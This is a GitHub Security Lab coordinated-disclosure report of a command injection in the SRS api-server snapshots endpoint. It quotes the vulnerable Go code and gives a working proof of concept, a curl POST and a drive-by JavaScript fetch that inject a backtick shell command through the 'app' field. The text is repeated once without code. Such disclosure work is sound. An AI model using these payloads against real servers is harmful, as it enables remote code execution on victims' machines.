GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2023-025
The GitHub Security Lab team has identified a potential security vulnerability in SRS.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected]
(please include GHSL-2023-025
as a reference).
If you are NOT the correct point of contact for this report, please let us know!
Summary
SRS's api-server
server is vulnerable to a drive-by command injection.
Product
SRS
Tested Version
v5.0-a4 or v5.0.137 or v5.0.156
v6.0.36 or v6.0.18
Details
Issue: Command injection (GHSL-2023-025
)
The api-server
server is vulnerable to command injection. An attacker may send a request to the /api/v1/snapshots
endpoint containing any commands to be executed as part of the body of the POST request. The handler for the /api/v1/snapshots
endpoint is:
http.HandleFunc("/api/v1/snapshots", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
SrsWriteDataResponse(w, struct{}{})
return
}
if err := func() error {
body, err := ioutil.ReadAll(r.Body)
if err != nil {
return fmt.Errorf("read request body, err %v", err)
}
log.Println(fmt.Sprintf("post to snapshots, req=%v", string(body)))
msg := &SrsSnapShotRequest{}
if err := json.Unmarshal(body, msg); err != nil { // [1]
return fmt.Errorf("parse message from %v, err %v", string(body), err)
}
log.Println(fmt.Sprintf("Got %v", msg.String()))
if msg.IsOnPublish() {
sw.Create(msg) // [2]
} else if msg.IsOnUnPublish() {
sw.Destroy(msg)
} else {
return fmt.Errorf("invalid message %v", msg.String())
}
SrsWriteDataResponse(w, &SrsCommonResponse{Code: 0})
return nil
}(); err != nil {
SrsWriteErrorResponse(w, err)
}
})
The body of the POST request is unmarshalled in [1]
and passed to the sw.Create
method. The Create
method will craft a RTMP URL using untrusted data (e.g.: the app
value from the JSON request):
func (v *SnapshotWorker) Create(sm *SrsSnapShotRequest) {
streamUrl := fmt.Sprintf("rtmp://127.0.0.1/%v/%v?vhost=%v", sm.App, sm.Stream, sm.Vhost)
if _, ok := v.snapshots.Load(streamUrl); ok {
return
}
sj := NewSnapshotJob()
sj.SrsSnapShotRequest = *sm
sj.updatedAt = time.Now()
go sj.Serve(v.ffmpegPath, streamUrl) // [3]
v.snapshots.Store(streamUrl, sj)
}
The streamUrl
is then passed to the SnapshotJob.Serve()
method which, in turn, passes it to the SnapshotWorker.do()
method where the inputUrl
is interpolated into the param
variable which is later executed as a shell command:
param := fmt.Sprintf("%v -i %v -vf fps=1 -vcodec png -f image2 -an -y -vframes %v -y %v", ffmpegPath, inputUrl, v.vframes, normalPicPath)
log.Println(fmt.Sprintf("start snapshot, cmd param=%v", param))
timeoutCtx, _ := context.WithTimeout(v.cancelCtx, v.timeout)
cmd := exec.CommandContext(timeoutCtx, "/bin/bash", "-c", param)
This issue was found by the Command built from user-controlled sources CodeQL query.
Impact
This issue may lead to Remote Code Execution (RCE).
Proof of concept
- Start the
api-server
: go run server.go
- Send the following request to the
/api/v1/snapshots
endpoint:
curl -i -s -k -X $'POST' \
-H $'Host: localhost:8085' -H $'Connection: close' -H $'Content-Type: application/json' \
--data-binary $'{\"action\": \"on_publish\",\"app\": \"`touch /tmp/pwned`\", \"stream\":\"foo\", \"vhost\": \"foo\",\"client_id\":\"foo\"}' \
$'http://localhost:8085/api/v1/snapshots'
- Check that a file named
pwned
will be created at /tmp
Note that even if port 8085 is only exposed on the localhost interface, an attacker may still be able to attack this service using what is known as a drive-by attack. For that purpose, an attacker can prepare a malicious site containing the following JS script:
<script>
fetch("http://localhost:8085/api/v1/snapshots", {
method: 'post',
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: '{"action": "on_publish", "app": "`touch /tmp/pwned`", "stream":"foo", "vhost": "foo", "client_id":"foo"}',
})
</script>
If the attacker fools the victim to visit this page while they have the api-server
service running, they will be able to access and compromise the service remotely.
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at [email protected]
, please include a reference to GHSL-2023-025
in any communication regarding this issue.
Disclosure Policy
This report is subject to our coordinated disclosure policy.
GitHub Security Lab (GHSL) Vulnerability Report:
GHSL-2023-025
The GitHub Security Lab team has identified a potential security vulnerability in SRS.
We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at
[email protected]
(please includeGHSL-2023-025
as a reference).If you are NOT the correct point of contact for this report, please let us know!
Summary
SRS's
api-server
server is vulnerable to a drive-by command injection.Product
SRS
Tested Version
v5.0-a4 or v5.0.137 or v5.0.156
v6.0.36 or v6.0.18
Details
Issue: Command injection (
GHSL-2023-025
)The
api-server
server is vulnerable to command injection. An attacker may send a request to the/api/v1/snapshots
endpoint containing any commands to be executed as part of the body of the POST request. The handler for the/api/v1/snapshots
endpoint is:The body of the POST request is unmarshalled in
[1]
and passed to thesw.Create
method. TheCreate
method will craft a RTMP URL using untrusted data (e.g.: theapp
value from the JSON request):The
streamUrl
is then passed to theSnapshotJob.Serve()
method which, in turn, passes it to theSnapshotWorker.do()
method where theinputUrl
is interpolated into theparam
variable which is later executed as a shell command:This issue was found by the Command built from user-controlled sources CodeQL query.
Impact
This issue may lead to Remote Code Execution (RCE).
Proof of concept
api-server
:go run server.go
/api/v1/snapshots
endpoint:pwned
will be created at/tmp
Note that even if port 8085 is only exposed on the localhost interface, an attacker may still be able to attack this service using what is known as a drive-by attack. For that purpose, an attacker can prepare a malicious site containing the following JS script:
If the attacker fools the victim to visit this page while they have the
api-server
service running, they will be able to access and compromise the service remotely.GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at
[email protected]
, please include a reference toGHSL-2023-025
in any communication regarding this issue.Disclosure Policy
This report is subject to our coordinated disclosure policy.